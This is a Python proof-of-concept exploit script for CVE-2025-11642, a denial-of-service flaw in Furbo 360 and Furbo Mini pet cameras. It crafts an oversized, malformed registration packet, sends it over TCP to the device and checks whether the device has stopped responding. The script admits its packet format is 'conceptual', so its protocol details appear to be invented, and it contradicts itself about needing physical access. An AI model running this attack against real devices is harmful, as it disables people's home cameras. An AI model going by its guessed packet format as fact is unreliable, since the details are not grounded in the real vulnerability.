CVE-2025-11642

# CVE-2025-11642 PoC - Conceptual Exploit for Furbo Registration Handler DoS # This is a conceptual proof-of-concept based on the vulnerability description. # The actual exploit requires physical access to the device. import socket import struct import time class FurboExploit: """ Conceptual PoC for CVE-2025-11642 Target: Tomofun Furbo 360 / Furbo Mini Component: Registration Handler Impact: Denial of Service (DoS) """ def __init__(self, device_ip, device_port=8888): self.device_ip = device_ip self.device_port = device_port self.target_versions = { "Furbo 360": "FB0035_FW_036", "Furbo Mini": "MC0020_FW_074" } def craft_malicious_registration_packet(self): """ Craft a malformed registration packet targeting the vulnerable Registration Handler function. """ # Registration handler magic header (conceptual) header = b'\xF0\x00\x00\x01' # Registration opcode # Malformed payload designed to trigger the vulnerability # Overflow the registration handler's internal buffer payload = b'\x41' * 4096 # Large buffer to trigger DoS # Invalid checksum to cause handler error state checksum = struct.pack('<I', 0xDEADBEEF) malicious_packet = header + payload + checksum return malicious_packet def send_exploit(self): """ Send the malicious packet to the target device. Requires physical access to the device's local network. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((self.device_ip, self.device_port)) packet = self.craft_malicious_registration_packet() # Send the malicious registration packet sock.send(packet) # Wait for device to process and enter DoS state time.sleep(2) # Attempt to verify device is unresponsive sock.close() # Reconnect to confirm DoS verify_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) verify_sock.settimeout(3) try: verify_sock.connect((self.device_ip, self.device_port)) verify_sock.send(b'\x00' * 16) response = verify_sock.recv(1024) print(f"Device still responsive: {response.hex()}") except (socket.timeout, ConnectionRefusedError): print("[+] Device appears unresponsive - DoS successful") finally: verify_sock.close() except Exception as e: print(f"[-] Exploit failed: {e}") def main(): print("=" * 60) print("CVE-2025-11642 - Furbo Registration Handler DoS PoC") print("Affected: Furbo 360 <= FB0035_FW_036") print("Affected: Furbo Mini <= MC0020_FW_074") print("CVSS 3.1: 4.0 (MEDIUM)") print("=" * 60) # Note: Physical access to the device is required target_ip = "192.168.1.100" # Device local IP exploit = FurboExploit(target_ip) exploit.send_exploit() if __name__ == "__main__": main()

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